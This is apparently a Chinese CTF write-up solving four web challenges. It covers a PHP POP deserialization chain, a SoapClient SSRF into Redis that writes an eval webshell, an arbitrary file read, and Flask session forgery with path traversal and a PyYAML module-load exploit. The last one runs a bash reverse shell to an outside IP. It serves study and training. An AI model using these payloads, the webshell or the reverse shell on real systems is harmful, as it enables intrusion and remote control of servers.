比赛忘记打了,回头看看题

ez_pop

<?php
highlight_file(__FILE__);
error_reporting(0);class fine
{
    private $cmd;
    private $content;    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}class show
{
    public $ctf;
    public $time = "Two and a half years";    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }
    public function __toString()
    {
        return $this->ctf->show();
    }    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }
}class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }    public function __sleep()
    {
        $this->hint = new secret_code();
    }    public function __get($name)
    {
        $name = $this->key;
        $name();
    }
    public function __destruct()
    {
        if ($this->password == $this->name) {            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }
    public function getPassword()
    {
        return $this->password;
    }    public function setPassword($password): void
    {
        $this->password = $password;
    }
}class secret_code
{
    protected $code;    public static function secret()
    {
        include_once "hint.php";
        hint();
    }    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }    private function show()
    {
        return $this->code->secret;
    }
}
if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}

一个简单的链子

sorry::__destruct->show::__tostring->secret_code::show()->sorry::__get->fine::invoke

payload:

<?php
class fine
{
    public $cmd;
    public $content;
    public function __construct()#构造方法
    {
        $this->cmd = 'system';
        $this->content = 'ls';
    }
}class show
{
    public $ctf;
    public $time;}class sorry
{
    public $name;
    public $password;
    public $hint;
    public $key;}class secret_code
{
    public $code;
}$a = new sorry();
$a->hint = new show();
$a->hint->ctf = new secret_code();
$a->hint->ctf->code = new sorry();
$a->hint->ctf->code->key = new fine();
$b = $a;echo serialize($b);

记得替换一下fine后面的元素个数,大于自身的个数就能绕过wakeup

EasyLove

题目提示redis
源代码:

 <?php
highlight_file(__FILE__);
error_reporting(0);
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
    
    public function __construct($wllm,$arsenetang,$l61q4cheng,$love){
        $this->wllm = $wllm;
        $this->arsenetang = $arsenetang;
        $this->l61q4cheng = $l61q4cheng;
        $this->love = $love;
    }
    public function newnewnew(){
        $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
    }    public function flag(){
        $this->love->getflag();
    }
    
    public function __destruct(){
        $this->newnewnew();
        $this->flag();
    }
}
class hint{
    public $hint;
    public function __destruct(){
        echo file_get_contents($this-> hint.'hint.php');
    }
}
$hello = $_GET['hello'];
$world = unserialize($hello);  

值得注意的是这个地方:

public function newnewnew(){
  $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
  }

在这里的值都是我们可控的,而反序列化打redis一半都是配合ssrf这里也给我们提供了条件
可以使用内置类SoapClient
因为他的destruct函数里面调用所以会自动进入,我们只需要构造我们需要的值即可

<?php
class swpu{
    public $wllm;
    public $arsenetang;
    public $l61q4cheng;
    public $love;
}$a = new swpu();
$a->wllm = 'SoapClient';
$a->arsenetang = null;
$target = 'http://127.0.0.1:6379/';
$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing '<?=eval(\$_REQUEST[1])?>'\r\nsave";$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");
echo urlencode(serialize($a));

尝试写入一句话进shell.php
发现虽然页面在加载,也就是说我们的命令已经执行,但是访问shell.php发现并未写入,猜测应该是redis有认证,我们需要找到他的密码。
回到题目继续往下看发现源码里面含有一个hint.php
现在就是要尝试读取到hint.php里面的内容
也可以任意构造gopher协议,返回为空,这样他就会直接file_get_contents('hint.php');
查看发现给出提示

<?php
$hint = "My favorite database is Redis and My favorite day is 20220311";
?>

猜测20220311是redis的认证密码
直接在flushall前面加上认证再写入一句话
$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset paixiaoxing '<?=eval(\$_REQUEST[1])?>'\r\nsave";
写入即可
蚁剑连接上去发现在根目录下面有个start.sh
在这里插入图片描述
找到了flag的位置,直接cat发现没有权限,猜测需要提权
用ffind寻找suid
蚁剑不好找,而且他也没办法直接反弹,我们可以写一个sh文件然后bash执行就能反弹
find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述发现date命令中-f可以查看文件,直接date -f /hereisflag/flllll111aaagg

hade_waibo

算是非预期的把:
在随意登陆进去之后,发现一个文件读取
然后任意文件读取之后会在图片里面返回出来
能任意文件阅读,题目提示flag在根目录下面的一个文件里面,而且在之前的题目里面看到在根目录下面存在start.sh
直接查看start.sh

#!/bin/sh
echo $FLAG > /ghjsdk_F149_H3re_asdasfc
export FLAG=no_flag
FLAG=no_flag
apache2-foreground
rm -rf /flag.sh
tail -f /dev/null

直接找到咯文件名、
直接进行文件读取
flag
预期解:待会写

BlogSystem

打开发现是一个博客网页,注册的时候发现admin已经被注册掉,而登陆之后带着的flaksession里面解码之后有我们的用户名信息,猜测我们需要变成admin
在博客下面发现在模板中隐藏的secret-key
利用这个secret-key解码发现成功,我们直接用它伪造session
···在这里插入图片描述
登陆进去之后发现原来注册之后的路由功能,多了一个download
尝试目录穿越,发现..以及//被替换成空了可以用.//./来构造目录穿越
下载到app.py源码

from flask import *
import configapp = Flask(__name__)
app.config.from_object(config)
app.secret_key = '7his_1s_my_fav0rite_ke7'
from model import *#导入的包1
from view import *#导入的包2app.register_blueprint(index, name='index')
app.register_blueprint(blog, name='blog')
@app.context_processor
def login_statue():
    username = session.get('username')
    if username:
        try:
            user = User.query.filter(User.username == username).first()
            if user:
                return {"username": username, 'name': user.name, 'password': user.password}
        except Exception as e:
            return e
    return {}
@app.errorhandler(404)
def page_not_found(e):
    return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
    return render_template('500.html'), 500
if __name__ == '__main__':
    app.run('0.0.0.0', 80)

发现该文件只是浅浅初始化了一下路由,我们着重可以看一下他导入的包
flask config view modleflask就不说了,上面的session伪造,
可以看出来这三个包就是最基本的MVC结构,或者说是MVT
可以浅浅看一下MVT的介绍Peter杰

MVT介绍
MVT 全拼为Model-View-Template
MVT 核心思想 : 解耦
MVT 解析
M (模型)全拼为Model, 与MVC中的M功能相同, 负责数据处理, 内嵌了ORM框架.
V (视图)全拼为View, 与MVC中的C功能相同, 接收HttpRequest, 业务处理,返回HttpResponse.
T (模板)全拼为Template, 与MVC中的V功能相同, 负责封装构造要返回的html, 内嵌了模板引擎.

想要更加深入了解,请移步百度

想要看看他导入的文件直接下载view.py发现没有文件,那么就是在view文件夹下面的内容了,直接下载vew/__init__.py

from .index import index
from .blog import blog

下载index.py以及blog.py

from flask import Blueprint, session, render_template, request, flash, redirect, url_for, Response, send_file
from werkzeug.security import check_password_hash
from decorators import login_limit, admin_limit
from model import *
import osindex = Blueprint("index", __name__)
@index.route('/')
def hello():
    return render_template('index.html')
@index.route('/register', methods=['POST', 'GET'])
def register():
    if request.method == 'GET':
        return render_template('register.html')
    if request.method == 'POST':
        name = request.form.get('name')
        username = request.form.get('username')
        password = request.form.get('password')
        user = User.query.filter(User.username == username).first()
        if user is not None:
            flash("该用户名已存在")
            return render_template('register.html')
        else:
            user = User(username=username, name=name)
            user.password_hash(password)
            db.session.add(user)
            db.session.commit()
            flash("注册成功!")
            return render_template('register.html')
@index.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        user = User.query.filter(User.username == username).first()
        if (user is not None) and (check_password_hash(user.password, password)):
            session['username'] = user.username
            session.permanent = True
            return redirect(url_for('index.hello'))
        else:
            flash("账号或密码错误")
            return render_template('login.html')
@index.route("/updatePwd", methods=['POST', 'GET'])
@login_limit
def update():
    if request.method == "GET":
        return render_template("updatePwd.html")
    if request.method == 'POST':
        lodPwd = request.form.get("lodPwd")
        newPwd1 = request.form.get("newPwd1")
        newPwd2 = request.form.get("newPwd2")
        username = session.get("username")
        user = User.query.filter(User.username == username).first()
        if check_password_hash(user.password, lodPwd):
            if newPwd1 != newPwd2:
                flash("两次新密码不一致!")
                return render_template("updatePwd.html")
            else:
                user.password_hash(newPwd2)
                db.session.commit()
                flash("修改成功!")
                return render_template("updatePwd.html")
        else:
            flash("原密码错误!")
            return render_template("updatePwd.html")
@index.route('/download', methods=['GET'])
@admin_limit
def download():
    if request.args.get('path'):
        path = request.args.get('path').replace('..', '').replace('//', '')
        path = os.path.join('static/upload/', path)
        if os.path.exists(path):
            return send_file(path)
        else:
            return render_template('404.html', file=path)
    return render_template('sayings.html',
                           yaml='所谓『恶』,是那些只为了自己,利用和践踏弱者的家伙!但是,我虽然是这样,也知道什么是令人作呕的『恶』,所以,由我来制裁!')
@index.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('index.hello'))

blog.py

import os
import random
import re
import timeimport yaml
from flask import Blueprint, render_template, request, session
from yaml import Loaderfrom decorators import login_limit, admin_limit
from model import *blog = Blueprint("blog", __name__, url_prefix="/blog")
def waf(data):
    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
        return False
    else:
        return True
@blog.route('/writeBlog', methods=['POST', 'GET'])
@login_limit
def writeblog():
    if request.method == 'GET':
        return render_template('writeBlog.html')
    if request.method == 'POST':
        title = request.form.get("title")
        text = request.form.get("text")
        username = session.get('username')
        create_time = time.strftime("%Y-%m-%d %H:%M:%S")
        user = User.query.filter(User.username == username).first()
        blog = Blog(title=title, text=text, create_time=create_time, user_id=user.id)
        db.session.add(blog)
        db.session.commit()
        blog = Blog.query.filter(Blog.create_time == create_time).first()
        return render_template('blogSuccess.html', title=title, id=blog.id)
@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
    try:
        file = request.files.get('editormd-image-file')
        fileName = file.filename.replace('..','')
        filePath = os.path.join("static/upload/", fileName)
        file.save(filePath)
        return {
            'success': 1,
            'message': '上传成功!',
            'url': "/" + filePath
        }
    except Exception as e:
        return {
            'success': 0,
            'message': '上传失败'
        }
@blog.route('/showBlog/<id>')
def showBlog(id):
    blog = Blog.query.filter(Blog.id == id).first()
    comment = Comment.query.filter(Comment.blog_id == blog.id)
    return render_template("showBlog.html", blog=blog, comment=comment)
@blog.route("/blogAll")
def blogAll():
    blogList = Blog.query.order_by(Blog.create_time.desc()).all()
    return render_template('blogAll.html', blogList=blogList)
@blog.route("/update/<id>", methods=['POST', 'GET'])
@login_limit
def update(id):
    if request.method == 'GET':
        blog = Blog.query.filter(Blog.id == id).first()
        return render_template('updateBlog.html', blog=blog)
    if request.method == 'POST':
        id = request.form.get("id")
        title = request.form.get("title")
        text = request.form.get("text")
        blog = Blog.query.filter(Blog.id == id).first()
        blog.title = title
        blog.text = text
        db.session.commit()
        return render_template('blogSuccess.html', title=title, id=id)
@blog.route("/delete/<id>")
@login_limit
def delete(id):
    blog = Blog.query.filter(Blog.id == id).first()
    db.session.delete(blog)
    db.session.commit()
    return {
        'state': True,
        'msg': "删除成功!"
    }
@blog.route("/myBlog")
@login_limit
def myBlog():
    username = session.get('username')
    user = User.query.filter(User.username == username).first()
    blogList = Blog.query.filter(Blog.user_id == user.id).order_by(Blog.create_time.desc()).all()
    return render_template("myBlog.html", blogList=blogList)
@blog.route("/comment", methods=['POST'])
@login_limit
def comment():
    text = request.values.get('text')
    blogId = request.values.get('blogId')
    username = session.get('username')
    create_time = time.strftime("%Y-%m-%d %H:%M:%S")
    user = User.query.filter(User.username == username).first()
    comment = Comment(text=text, create_time=create_time, blog_id=blogId, user_id=user.id)
    db.session.add(comment)
    db.session.commit()
    return {
        'success': True,
        'message': '评论成功!',
    }
@blog.route('/myComment')
@login_limit
def myComment():
    username = session.get('username')
    user = User.query.filter(User.username == username).first()
    commentList = Comment.query.filter(Comment.user_id == user.id).order_by(Comment.create_time.desc()).all()
    return render_template("myComment.html", commentList=commentList)
@blog.route('/deleteCom/<id>')
def deleteCom(id):
    com = Comment.query.filter(Comment.id == id).first()
    db.session.delete(com)
    db.session.commit()
    return {
        'state': True,
        'msg': "删除成功!"
    }
@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
                else:
                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='鲁迅说:'+str(e))
    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)

主要应该先看这里

@blog.route('/imgUpload', methods=['POST'])
@login_limit
def imgUpload():
    try:
        file = request.files.get('editormd-image-file')
        fileName = file.filename.replace('..','')
        filePath = os.path.join("static/upload/", fileName)
        file.save(filePath)
        return {
            'success': 1,
            'message': '上传成功!',
            'url': "/" + filePath
        }
    except Exception as e:
        return {
            'success': 0,
            'message': '上传失败'
        }

这里对文件名进行了替换,防止了目录穿越
还有一个在前端没有的页面saying

@blog.route('/saying', methods=['GET'])
@admin_limit
def Saying():
    if request.args.get('path'):
        file = request.args.get('path').replace('../', 'hack').replace('..\\', 'hack')
        try:
            with open(file, 'rb') as f:
                f = f.read()
                if waf(f):
                    print(yaml.load(f, Loader=Loader))
                    return render_template('sayings.html', yaml='鲁迅说:当你看到这句话时,还没有拿到flag,那就赶紧重开环境吧')
                else:
                    return render_template('sayings.html', yaml='鲁迅说:你说得不对')
        except Exception as e:
            return render_template('sayings.html', yaml='鲁迅说:'+str(e))
    else:        with open('view/jojo.yaml', 'r', encoding='utf-8') as f:
            sayings = yaml.load(f, Loader=Loader)
            saying = random.choice(sayings)
            return render_template('sayings.html', yaml=saying)

如果我们get传入了path,它就会对我们传入的数据进行过滤,如果完成绕过了waf,那么他就会调用yaml的load方法来加载我们的文件
看一下waf

def waf(data):
    if re.search(r'apply|process|eval|os|tuple|popen|frozenset|bytes|type|staticmethod|\(|\)', str(data), re.M | re.I):
        return False
    else:
        return True

这里对常用的命令执行参数进行了过滤,完全没办法绕过捏
前面调用到yaml.load也就是可以用到pyyaml反序列化
常用的反序列化标签

!!python/object
!!python/object/apply
!!python/object/new

(没学过)查看出题人的博客说,object没有合适的模块,不能执行,而第二个又被waf过滤了,那么就只剩第三个了
在源码中apply以及new他们最后进入的是同一个函数,所以payload可以通用

简而言之,就是可以写一个__init__.py文件,然后用saying里面的load加载,因为无法目录穿越,所以只能使用__init__.py将整个upload看作为一个软件包,然后就可以执行加载

这样我们就可以实现import static.upload的功能
然后我们直接在__init__.py里面写入反弹shell命令,在VPS上面接收就可以getshell
访问/blog/saying?path=static/upload/poc.yaml就可以反弹shell
直接cat /flag就行

import os
os.system('bash -c "bash -i >& /dev/tcp/81.68.106.68/2333 0>&1"')
!!python/module:static.upload

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部